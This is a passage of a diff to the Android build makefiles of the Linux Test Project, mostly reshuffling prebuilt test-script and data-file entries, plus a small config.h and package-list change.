+module_prebuilt := testcases/bin/cpuset_memory_spread_testset.sh
+module_src_files := testcases/kernel/controllers/cpuset/cpuset_memory_spread_test/cpuset_memory_spread_testset.sh
+include $(ltp_build_prebuilt)
+
+module_prebuilt := testcases/data/file01/in.src.rpm
+module_src_files := testcases/commands/file/datafiles/in.src.rpm
+include $(ltp_build_prebuilt)
+
 module_prebuilt := testcases/bin/tcp6-uni-dsackoff01
 module_src_files := testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff01
 include $(ltp_build_prebuilt)
@@ -1514,7 +1578,7 @@
 include $(ltp_build_prebuilt)
 
 module_prebuilt := testcases/bin/file_test.sh
-module_src_files := testcases/commands/ade/file/file_test.sh
+module_src_files := testcases/commands/file/file_test.sh
 include $(ltp_build_prebuilt)
 
 module_prebuilt := testcases/bin/tcp6-uni-dsackoff02
@@ -1553,18 +1617,14 @@
 module_src_files := testcases/network/stress/tcp/uni-tso/tcp4-uni-tso14
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/netns_sysfs.sh
-module_src_files := testcases/kernel/containers/netns/netns_sysfs.sh
+module_prebuilt := testcases/bin/memcg_failcnt.sh
+module_src_files := testcases/kernel/controllers/memcg/functional/memcg_failcnt.sh
 include $(ltp_build_prebuilt)
 
 module_prebuilt := testcases/bin/mcast6-pktfld01
 module_src_files := testcases/network/stress/multicast/packet-flood/mcast6-pktfld01
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/tcp6-multi-diffip12
-module_src_files := testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip12
-include $(ltp_build_prebuilt)
-
 module_prebuilt := testcases/bin/fs_bind/rbind/test29
 module_src_files := testcases/kernel/fs/fs_bind/rbind/test29
 include $(ltp_build_prebuilt)
@@ -1586,7 +1646,7 @@
 include $(ltp_build_prebuilt)
 
 module_prebuilt := testcases/bin/ldd01
-module_src_files := testcases/commands/ade/ldd/ldd01
+module_src_files := testcases/commands/ldd/ldd01
 include $(ltp_build_prebuilt)
 
 module_prebuilt := testcases/bin/tcp6-uni-sackoff13
@@ -1597,6 +1657,10 @@
 module_src_files := testcases/kernel/controllers/cgroup_fj/cgroup_fj_stress.sh
 include $(ltp_build_prebuilt)
 
+module_prebuilt := testcases/bin/tcp6-multi-diffip11
+module_src_files := testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip11
+include $(ltp_build_prebuilt)
+
 module_prebuilt := testcases/bin/set_ipv4addr
 module_src_files := testcases/network/stress/ns-tools/set_ipv4addr
 include $(ltp_build_prebuilt)
@@ -1661,8 +1725,8 @@
 module_src_files := testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport07
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/tcp6-multi-diffport06
-module_src_files := testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport06
+module_prebuilt := testcases/bin/memcg_subgroup_charge.sh
+module_src_files := testcases/kernel/controllers/memcg/functional/memcg_subgroup_charge.sh
 include $(ltp_build_prebuilt)
 
 module_prebuilt := testcases/bin/cpuset_hotplug_test.sh
@@ -1677,8 +1741,8 @@
 module_src_files := testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport02
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/tcp6-multi-diffport09
-module_src_files := testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport09
+module_prebuilt := testcases/bin/icmp-uni-vti.sh
+module_src_files := testcases/network/stress/icmp/icmp-uni-vti.sh
 include $(ltp_build_prebuilt)
 
 module_prebuilt := testcases/bin/tcp6-multi-diffport08
@@ -1713,8 +1777,8 @@
 module_src_files := testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend01
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/ima_policy.sh
-module_src_files := testcases/kernel/security/integrity/ima/tests/ima_policy.sh
+module_prebuilt := testcases/data/file01/in.ksh
+module_src_files := testcases/commands/file/datafiles/in.ksh
 include $(ltp_build_prebuilt)
 
 module_prebuilt := testcases/bin/udp6-multi-diffnic03
@@ -1849,14 +1913,18 @@
 module_src_files := testcases/network/stress/tcp/uni-tso/tcp4-uni-tso09
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/tcp4-uni-tso08
-module_src_files := testcases/network/stress/tcp/uni-tso/tcp4-uni-tso08
+module_prebuilt := testcases/data/unzip01/test.zip
+module_src_files := testcases/commands/unzip/datafiles/test.zip
 include $(ltp_build_prebuilt)
 
 module_prebuilt := testcases/bin/tpm_clear_tests.sh
 module_src_files := testcases/commands/tpm-tools/tpm/tpm_clear/tpm_clear_tests.sh
 include $(ltp_build_prebuilt)
 
+module_prebuilt := testcases/bin/arping01.sh
+module_src_files := testcases/network/tcp_cmds/arping/arping01.sh
+include $(ltp_build_prebuilt)
+
 module_prebuilt := testcases/bin/tcp4-uni-tso03
 module_src_files := testcases/network/stress/tcp/uni-tso/tcp4-uni-tso03
 include $(ltp_build_prebuilt)
@@ -1917,10 +1985,6 @@
 module_src_files := testcases/network/stress/udp/multi-diffport/udp4-multi-diffport01
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/fs_racer_dir_create.sh
-module_src_files := testcases/kernel/fs/racer/fs_racer_dir_create.sh
-include $(ltp_build_prebuilt)
-
 module_prebuilt := testcases/bin/http-stress01-rmt
 module_src_files := testcases/network/stress/http/http-stress01-rmt
 include $(ltp_build_prebuilt)
@@ -1945,10 +2009,6 @@
 module_src_files := testcases/kernel/controllers/cpuset/cpuset_load_balance_test/cpuset_sched_domains_test.sh
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/file6.in
-module_src_files := testcases/commands/ade/ar/file6.in
-include $(ltp_build_prebuilt)
-
 module_prebuilt := testcases/bin/tcp4-multi-diffnic08
 module_src_files := testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic08
 include $(ltp_build_prebuilt)
@@ -1993,8 +2053,8 @@
 module_src_files := testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic02
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/file8.in
-module_src_files := testcases/commands/ade/ar/file8.in
+module_prebuilt := testcases/bin/icmp4-multi-diffnic03
+module_src_files := testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic03
 include $(ltp_build_prebuilt)
 
 module_prebuilt := testcases/bin/tpmtoken_import_tests_exp01.sh
@@ -2041,8 +2101,8 @@
 module_src_files := testcases/network/stress/ftp/ftp-upload-stress02-rmt
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/tcp4-uni-smallsend13
-module_src_files := testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend13
+module_prebuilt := testcases/bin/assign_password.sh
+module_src_files := testcases/kernel/security/mmc_security/assign_password.sh
 include $(ltp_build_prebuilt)
 
 module_prebuilt := testcases/bin/tcp6-uni-pktlossdup14
@@ -2085,6 +2145,10 @@
 module_src_files := testcases/network/tcp_cmds/rlogin/rlogin01
 include $(ltp_build_prebuilt)
 
+module_prebuilt := testcases/bin/tcp6-multi-sameport09
+module_src_files := testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport09
+include $(ltp_build_prebuilt)
+
 module_prebuilt := testcases/bin/cpuhotplug05.sh
 module_src_files := testcases/kernel/hotplug/cpu_hotplug/functional/cpuhotplug05.sh
 include $(ltp_build_prebuilt)
@@ -2113,8 +2177,12 @@
 module_src_files := testcases/kernel/numa/numa01.sh
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/icmp4-multi-diffnic03
-module_src_files := testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic03
+module_prebuilt := testcases/bin/geneve01.sh
+module_src_files := testcases/network/virt/geneve01.sh
+include $(ltp_build_prebuilt)
+
+module_prebuilt := testcases/bin/tcp6-multi-diffip12
+module_src_files := testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip12
 include $(ltp_build_prebuilt)
 
 module_prebuilt := testcases/bin/tcp6-multi-diffip13
@@ -2125,8 +2193,8 @@
 module_src_files := testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip10
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/tcp6-multi-diffip11
-module_src_files := testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip11
+module_prebuilt := testcases/bin/tcp_ipsec.sh
+module_src_files := testcases/network/stress/tcp/tcp_ipsec.sh
 include $(ltp_build_prebuilt)
 
 module_prebuilt := testcases/bin/tcp6-multi-diffip14
@@ -2145,8 +2213,8 @@
 module_src_files := testcases/network/stress/udp/multi-diffip/udp6-multi-diffip06
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/nfs_fsstress.sh
-module_src_files := testcases/network/nfs/nfs_fsstress/nfs_fsstress.sh
+module_prebuilt := testcases/bin/vxlan02.sh
+module_src_files := testcases/network/virt/vxlan02.sh
 include $(ltp_build_prebuilt)
 
 module_prebuilt := testcases/bin/freeze_move_thaw.sh
@@ -2189,6 +2257,10 @@
 module_src_files := testcases/network/stress/icmp/multi-diffip/icmp6-multi-diffip03
 include $(ltp_build_prebuilt)
 
+module_prebuilt := testcases/bin/tracepath01.sh
+module_src_files := testcases/network/tcp_cmds/tracepath/tracepath01.sh
+include $(ltp_build_prebuilt)
+
 module_prebuilt := testcases/bin/udp6-multi-diffip02
 module_src_files := testcases/network/stress/udp/multi-diffip/udp6-multi-diffip02
 include $(ltp_build_prebuilt)
@@ -2261,10 +2333,6 @@
 module_src_files := testcases/kernel/power_management/pm_include.sh
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/nmfile2.c
-module_src_files := testcases/commands/ade/nm/nmfile2.c
-include $(ltp_build_prebuilt)
-
 module_prebuilt := testcases/bin/ftp-download-stress
 module_src_files := testcases/network/stress/ftp/ftp-download-stress
 include $(ltp_build_prebuilt)
@@ -2309,8 +2377,8 @@
 module_src_files := testcases/kernel/fs/fs_bind/move/test11
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/fs_bind/move/test12
-module_src_files := testcases/kernel/fs/fs_bind/move/test12
+module_prebuilt := testcases/data/file01/in.m4
+module_src_files := testcases/commands/file/datafiles/in.m4
 include $(ltp_build_prebuilt)
 
 module_prebuilt := testcases/bin/fs_bind/move/test13
@@ -2445,10 +2513,6 @@
 module_src_files := testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup02
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/tcp6-uni-basic05
-module_src_files := testcases/network/stress/tcp/uni-basic/tcp6-uni-basic05
-include $(ltp_build_prebuilt)
-
 module_prebuilt := testcases/bin/run_capbounds.sh
 module_src_files := testcases/kernel/security/cap_bound/run_capbounds.sh
 include $(ltp_build_prebuilt)
@@ -2461,6 +2525,10 @@
 module_src_files := testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup05
 include $(ltp_build_prebuilt)
 
+module_prebuilt := testcases/bin/netns_sysfs.sh
+module_src_files := testcases/kernel/containers/netns/netns_sysfs.sh
+include $(ltp_build_prebuilt)
+
 module_prebuilt := testcases/bin/tcp6-uni-pktlossdup04
 module_src_files := testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup04
 include $(ltp_build_prebuilt)
@@ -2485,10 +2553,6 @@
 module_src_files := testcases/network/stress/route/route4-redirect
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/tcp6-uni-winscale04
-module_src_files := testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale04
-include $(ltp_build_prebuilt)
-
 module_prebuilt := testcases/bin/route6-change-gw
 module_src_files := testcases/network/stress/route/route6-change-gw
 include $(ltp_build_prebuilt)
@@ -2517,14 +2581,6 @@
 module_src_files := testcases/kernel/fs/acls/acl_test01
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/objdump01
-module_src_files := testcases/commands/ade/objdump/objdump01
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/size01
-module_src_files := testcases/commands/ade/size/size01
-include $(ltp_build_prebuilt)
-
 module_prebuilt := testcases/bin/ssh01_s1
 module_src_files := testcases/network/tcp_cmds/ssh/ssh01_s1
 include $(ltp_build_prebuilt)
@@ -2589,6 +2645,10 @@
 module_src_files := testcases/kernel/fs/fs_bind/rbind/test38
 include $(ltp_build_prebuilt)
 
+module_prebuilt := testcases/bin/nfs06
+module_src_files := testcases/network/nfs/nfs_stress/nfs06
+include $(ltp_build_prebuilt)
+
 module_prebuilt := testcases/bin/nfs01
 module_src_files := testcases/network/nfs/nfs_stress/nfs01
 include $(ltp_build_prebuilt)
@@ -2673,6 +2733,10 @@
 module_src_files := testcases/commands/tpm-tools/tpm/tpm_takeownership/tpm_takeownership_tests_exp01.sh
 include $(ltp_build_prebuilt)
 
+module_prebuilt := testcases/bin/fs_bind/move/test12
+module_src_files := testcases/kernel/fs/fs_bind/move/test12
+include $(ltp_build_prebuilt)
+
 module_prebuilt := testcases/bin/smack_set_doi.sh
 module_src_files := testcases/kernel/security/smack/smack_set_doi.sh
 include $(ltp_build_prebuilt)
@@ -2697,6 +2761,10 @@
 module_src_files := testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff14
 include $(ltp_build_prebuilt)
 
+module_prebuilt := testcases/data/file01/in.bash
+module_src_files := testcases/commands/file/datafiles/in.bash
+include $(ltp_build_prebuilt)
+
 module_prebuilt := testcases/bin/icmp4-multi-diffip02
 module_src_files := testcases/network/stress/icmp/multi-diffip/icmp4-multi-diffip02
 include $(ltp_build_prebuilt)
@@ -2709,8 +2777,8 @@
 module_src_files := testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff04
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/ftp-download-stress02-rmt
-module_src_files := testcases/network/stress/ftp/ftp-download-stress02-rmt
+module_prebuilt := testcases/bin/cpuhotplug_do_disk_write_loop
+module_src_files := testcases/kernel/hotplug/cpu_hotplug/tools/cpuhotplug_do_disk_write_loop
 include $(ltp_build_prebuilt)
 
 module_prebuilt := testcases/bin/myfunctions.sh
@@ -2821,6 +2889,10 @@
 module_src_files := testcases/kernel/fs/ext4-new-features/ext4-ffsb-config/ffsb-config7
 include $(ltp_build_prebuilt)
 
+module_prebuilt := testcases/bin/ftp01
+module_src_files := testcases/network/tcp_cmds/ftp/ftp01
+include $(ltp_build_prebuilt)
+
 module_prebuilt := testcases/bin/mc_member
 module_src_files := testcases/network/multicast/mc_member/mc_member
 include $(ltp_build_prebuilt)
@@ -2886,7 +2958,7 @@
 include $(ltp_build_prebuilt)
 
 module_prebuilt := testcases/bin/ld01
-module_src_files := testcases/commands/ade/ld/ld01
+module_src_files := testcases/commands/ld/ld01
 include $(ltp_build_prebuilt)
 
 module_prebuilt := testcases/bin/ipvlan01.sh
@@ -2933,12 +3005,16 @@
 module_src_files := testcases/network/stress/udp/multi-diffport/udp4-multi-diffport04
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/ftp01
-module_src_files := testcases/network/tcp_cmds/ftp/ftp01
+module_prebuilt := testcases/bin/tcp6-multi-diffip01
+module_src_files := testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip01
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/memcg_test_4.sh
-module_src_files := testcases/kernel/controllers/memcg/regression/memcg_test_4.sh
+module_prebuilt := testcases/data/file01/in.jpg
+module_src_files := testcases/commands/file/datafiles/in.jpg
+include $(ltp_build_prebuilt)
+
+module_prebuilt := testcases/bin/fs_bind/bind/test13
+module_src_files := testcases/kernel/fs/fs_bind/bind/test13
 include $(ltp_build_prebuilt)
 
 module_prebuilt := testcases/bin/udp6-multi-diffip05
@@ -2973,8 +3049,8 @@
 module_src_files := testcases/lib/cmdlib.sh
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/file9.in
-module_src_files := testcases/commands/ade/ar/file9.in
+module_prebuilt := testcases/bin/tcp6-uni-winscale04
+module_src_files := testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale04
 include $(ltp_build_prebuilt)
 
 module_prebuilt := testcases/bin/smack_set_load.sh
@@ -3025,6 +3101,10 @@
 module_src_files := testcases/kernel/tracing/ftrace_test/ftrace_stress/ftrace_trace_clock.sh
 include $(ltp_build_prebuilt)
 
+module_prebuilt := testcases/bin/tcp6-multi-diffnic01
+module_src_files := testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic01
+include $(ltp_build_prebuilt)
+
 module_prebuilt := testcases/bin/ext4_uninit_groups_test.sh
 module_src_files := testcases/kernel/fs/ext4-new-features/ext4-uninit-groups/ext4_uninit_groups_test.sh
 include $(ltp_build_prebuilt)
@@ -3053,10 +3133,6 @@
 module_src_files := testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic03
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/file0.in
-module_src_files := testcases/commands/ade/ar/file0.in
-include $(ltp_build_prebuilt)
-
 module_prebuilt := testcases/bin/udp6-multi-diffport05
 module_src_files := testcases/network/stress/udp/multi-diffport/udp6-multi-diffport05
 include $(ltp_build_prebuilt)
@@ -3065,10 +3141,6 @@
 module_src_files := testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic02
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/file2.in
-module_src_files := testcases/commands/ade/ar/file2.in
-include $(ltp_build_prebuilt)
-
 module_prebuilt := testcases/bin/tcp4-uni-dsackoff11
 module_src_files := testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff11
 include $(ltp_build_prebuilt)
@@ -3145,6 +3217,10 @@
 module_src_files := testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic03
 include $(ltp_build_prebuilt)
 
+module_prebuilt := testcases/bin/tst_test.sh
+module_src_files := testcases/lib/tst_test.sh
+include $(ltp_build_prebuilt)
+
 module_prebuilt := testcases/bin/icmp6-multi-diffnic01
 module_src_files := testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic01
 include $(ltp_build_prebuilt)
@@ -3161,8 +3237,8 @@
 module_src_files := testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic04
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/file10.in
-module_src_files := testcases/commands/ade/ar/file10.in
+module_prebuilt := testcases/bin/icmp6-multi-diffnic05
+module_src_files := testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic05
 include $(ltp_build_prebuilt)
 
 module_prebuilt := testcases/bin/tpmtoken_setpasswd_tests_exp02.sh
@@ -3205,12 +3281,16 @@
 module_src_files := testcases/network/stress/route/route6-change-dst
 include $(ltp_build_prebuilt)
 
+module_prebuilt := testcases/bin/ipneigh01.sh
+module_src_files := testcases/network/tcp_cmds/ipneigh/ipneigh01.sh
+include $(ltp_build_prebuilt)
+
 module_prebuilt := testcases/bin/tcp6-uni-winscale14
 module_src_files := testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale14
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/tcp4-multi-sameport14
-module_src_files := testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport14
+module_prebuilt := testcases/bin/tcp6-multi-diffport06
+module_src_files := testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport06
 include $(ltp_build_prebuilt)
 
 module_prebuilt := testcases/bin/sssd03
@@ -3253,8 +3333,8 @@
 module_src_files := testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport12
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/tcp4-uni-basic09
-module_src_files := testcases/network/stress/tcp/uni-basic/tcp4-uni-basic09
+module_prebuilt := testcases/data/file01/in.wav
+module_src_files := testcases/commands/file/datafiles/in.wav
 include $(ltp_build_prebuilt)
 
 module_prebuilt := testcases/bin/tcp4-uni-basic08
@@ -3317,6 +3397,10 @@
 module_src_files := testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend05
 include $(ltp_build_prebuilt)
 
+module_prebuilt := testcases/data/ar01/file10.in
+module_src_files := testcases/commands/ar/datafiles/file10.in
+include $(ltp_build_prebuilt)
+
 module_prebuilt := testcases/bin/run_cpuctl_test.sh
 module_src_files := testcases/kernel/controllers/cpuctl/run_cpuctl_test.sh
 include $(ltp_build_prebuilt)
@@ -3329,22 +3413,30 @@
 module_src_files := testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale02
 include $(ltp_build_prebuilt)
 
+module_prebuilt := testcases/data/file01/in.tar.gz
+module_src_files := testcases/commands/file/datafiles/in.tar.gz
+include $(ltp_build_prebuilt)
+
+module_prebuilt := testcases/bin/tcp4-multi-sameport14
+module_src_files := testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport14
+include $(ltp_build_prebuilt)
+
 module_prebuilt := testcases/bin/tcp4-uni-smallsend01
 module_src_files := testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend01
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/tcp4-uni-winscale06
-module_src_files := testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale06
+module_prebuilt := testcases/bin/ftrace_stress/ftrace_trace.sh
+module_src_files := testcases/kernel/tracing/ftrace_test/ftrace_stress/ftrace_trace.sh
+include $(ltp_build_prebuilt)
+
+module_prebuilt := testcases/bin/ftp-download-stress02-rmt
+module_src_files := testcases/network/stress/ftp/ftp-download-stress02-rmt
 include $(ltp_build_prebuilt)
 
 module_prebuilt := testcases/bin/tcpdump01
 module_src_files := testcases/network/tcp_cmds/tcpdump/tcpdump01
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/traceroute_tests.sh
-module_src_files := testcases/network/traceroute/traceroute_tests.sh
-include $(ltp_build_prebuilt)
-
 module_prebuilt := testcases/bin/tcp4-uni-winscale05
 module_src_files := testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale05
 include $(ltp_build_prebuilt)
@@ -3377,6 +3469,10 @@
 module_src_files := testcases/commands/tpm-tools/tpmtoken/tpmtoken_import/tpmtoken_import_tests.sh
 include $(ltp_build_prebuilt)
 
+module_prebuilt := testcases/bin/keyctl01.sh
+module_src_files := testcases/commands/keyctl/keyctl01.sh
+include $(ltp_build_prebuilt)
+
 module_prebuilt := testcases/bin/telnet01
 module_src_files := testcases/network/tcp_cmds/telnet/telnet01
 include $(ltp_build_prebuilt)
@@ -3437,16 +3533,16 @@
 module_src_files := testcases/kernel/sched/hyperthreading/ht_affinity/smt_smp_affinity.sh
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/finger01
-module_src_files := testcases/network/tcp_cmds/finger/finger01
+module_prebuilt := testcases/bin/tcp4-uni-winscale06
+module_src_files := testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale06
 include $(ltp_build_prebuilt)
 
 module_prebuilt := testcases/bin/if-mtu-change
 module_src_files := testcases/network/stress/interface/if-mtu-change
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/runpwtests_exclusive02.sh
-module_src_files := testcases/kernel/power_management/runpwtests_exclusive02.sh
+module_prebuilt := testcases/bin/ima_policy.sh
+module_src_files := testcases/kernel/security/integrity/ima/tests/ima_policy.sh
 include $(ltp_build_prebuilt)
 
 module_prebuilt := testcases/bin/mcast6-grpope04
@@ -3457,16 +3553,20 @@
 module_src_files := testcases/kernel/controllers/cpuctl/parameters.sh
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/tcp4-uni-winscale08
-module_src_files := testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale08
+module_prebuilt := testcases/bin/busy_poll03.sh
+module_src_files := testcases/network/busy_poll/busy_poll03.sh
+include $(ltp_build_prebuilt)
+
+module_prebuilt := testcases/data/ar01/file1.in
+module_src_files := testcases/commands/ar/datafiles/file1.in
 include $(ltp_build_prebuilt)
 
 module_prebuilt := testcases/bin/tcp6-multi-sameport08
 module_src_files := testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport08
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/tcp6-multi-sameport09
-module_src_files := testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport09
+module_prebuilt := testcases/data/file01/in.tar
+module_src_files := testcases/commands/file/datafiles/in.tar
 include $(ltp_build_prebuilt)
 
 module_prebuilt := testcases/bin/tcp6-multi-sameport06
@@ -3589,6 +3689,14 @@
 module_src_files := testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale09
 include $(ltp_build_prebuilt)
 
+module_prebuilt := testcases/bin/memcg_force_empty.sh
+module_src_files := testcases/kernel/controllers/memcg/functional/memcg_force_empty.sh
+include $(ltp_build_prebuilt)
+
+module_prebuilt := testcases/bin/virt_lib.sh
+module_src_files := testcases/network/virt/virt_lib.sh
+include $(ltp_build_prebuilt)
+
 module_prebuilt := testcases/bin/mc_opts
 module_src_files := testcases/network/multicast/mc_opts/mc_opts
 include $(ltp_build_prebuilt)
@@ -3665,10 +3773,6 @@
 module_src_files := testcases/network/stress/multicast/query-flood/mcast6-queryfld06
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/ping01
-module_src_files := testcases/network/tcp_cmds/ping/ping01
-include $(ltp_build_prebuilt)
-
 module_prebuilt := testcases/bin/mcast6-queryfld04
 module_src_files := testcases/network/stress/multicast/query-flood/mcast6-queryfld04
 include $(ltp_build_prebuilt)
@@ -3693,6 +3797,10 @@
 module_src_files := testcases/lib/net_cmdlib.sh
 include $(ltp_build_prebuilt)
 
+module_prebuilt := testcases/bin/ping01.sh
+module_src_files := testcases/network/tcp_cmds/ping/ping01.sh
+include $(ltp_build_prebuilt)
+
 module_prebuilt := testcases/bin/broken_ip4-ihl
 module_src_files := testcases/network/stress/broken_ip/broken_ip4-ihl
 include $(ltp_build_prebuilt)
@@ -3745,6 +3853,10 @@
 module_src_files := testcases/kernel/controllers/memcg/functional/memcg_max_usage_in_bytes_test.sh
 include $(ltp_build_prebuilt)
 
+module_prebuilt := testcases/bin/udp6-uni-basic01
+module_src_files := testcases/network/stress/udp/uni-basic/udp6-uni-basic01
+include $(ltp_build_prebuilt)
+
 module_prebuilt := testcases/bin/tcp6-multi-diffnic05
 module_src_files := testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic05
 include $(ltp_build_prebuilt)
@@ -3761,8 +3873,8 @@
 module_src_files := testcases/kernel/fs/fs-bench/fs-bench-test2.sh
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/tcp6-multi-diffnic01
-module_src_files := testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic01
+module_prebuilt := testcases/data/file01/in.csh
+module_src_files := testcases/commands/file/datafiles/in.csh
 include $(ltp_build_prebuilt)
 
 module_prebuilt := testcases/bin/tpm_changeauth_tests.sh
@@ -3793,16 +3905,16 @@
 module_src_files := testcases/kernel/tracing/ftrace_test/ftrace_stress/ftrace_trace_options.sh
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/icmp6-multi-diffnic05
-module_src_files := testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic05
-include $(ltp_build_prebuilt)
-
 module_prebuilt := testcases/bin/runpwtests04.sh
 module_src_files := testcases/kernel/power_management/runpwtests04.sh
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/fs_bind/cloneNS/test06
-module_src_files := testcases/kernel/fs/fs_bind/cloneNS/test06
+module_prebuilt := testcases/bin/tcp4-uni-basic09
+module_src_files := testcases/network/stress/tcp/uni-basic/tcp4-uni-basic09
+include $(ltp_build_prebuilt)
+
+module_prebuilt := testcases/bin/fs_racer.sh
+module_src_files := testcases/kernel/fs/racer/fs_racer.sh
 include $(ltp_build_prebuilt)
 
 module_prebuilt := testcases/bin/fs_bind/rbind/test08
@@ -3849,8 +3961,8 @@
 module_src_files := testcases/kernel/fs/fs_bind/rbind/test03
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/ftrace_stress/ftrace_trace.sh
-module_src_files := testcases/kernel/tracing/ftrace_test/ftrace_stress/ftrace_trace.sh
+module_prebuilt := testcases/data/ar01/file3.in
+module_src_files := testcases/commands/ar/datafiles/file3.in
 include $(ltp_build_prebuilt)
 
 module_prebuilt := testcases/bin/tcp4-uni-winscale07
@@ -3913,6 +4025,10 @@
 module_src_files := testcases/kernel/controllers/cpuctl/run_cpuctl_latency_test.sh
 include $(ltp_build_prebuilt)
 
+module_prebuilt := testcases/bin/tcp4-uni-sackoff04
+module_src_files := testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff04
+include $(ltp_build_prebuilt)
+
 module_prebuilt := testcases/bin/if4-addr-change
 module_src_files := testcases/network/stress/interface/if4-addr-change
 include $(ltp_build_prebuilt)
diff --git a/android/include/config.h b/android/include/config.h
index 0c22427..32e339d 100644
--- a/android/include/config.h
+++ b/android/include/config.h
@@ -360,6 +360,9 @@
 /* Define to 1 if you have the <sys/types.h> header file. */
 #define HAVE_SYS_TYPES_H 1
 
+/* Define to 1 if you have the <sys/xattr.h> header file. */
+#define HAVE_SYS_XATTR_H 1
+
 /* Define to 1 if you have the `tee' function. */
 #define HAVE_TEE 1
 
diff --git a/android/ltp_package_list.mk b/android/ltp_package_list.mk
index 5bb7bc5..5fb3f2d 100644
--- a/android/ltp_package_list.mk
+++ b/android/ltp_package_list.mk
@@ -21,7 +21,6 @@
   ltp_access02 \
   ltp_access03 \
   ltp_access04 \
-  ltp_access05 \
   ltp_acct01 \
   ltp_acl1 \
   ltp_acl_file_test \
@@ -45,7 +44,6 @@
   ltp_bind02 \
   ltp_block_dev \
   ltp_brk01 \
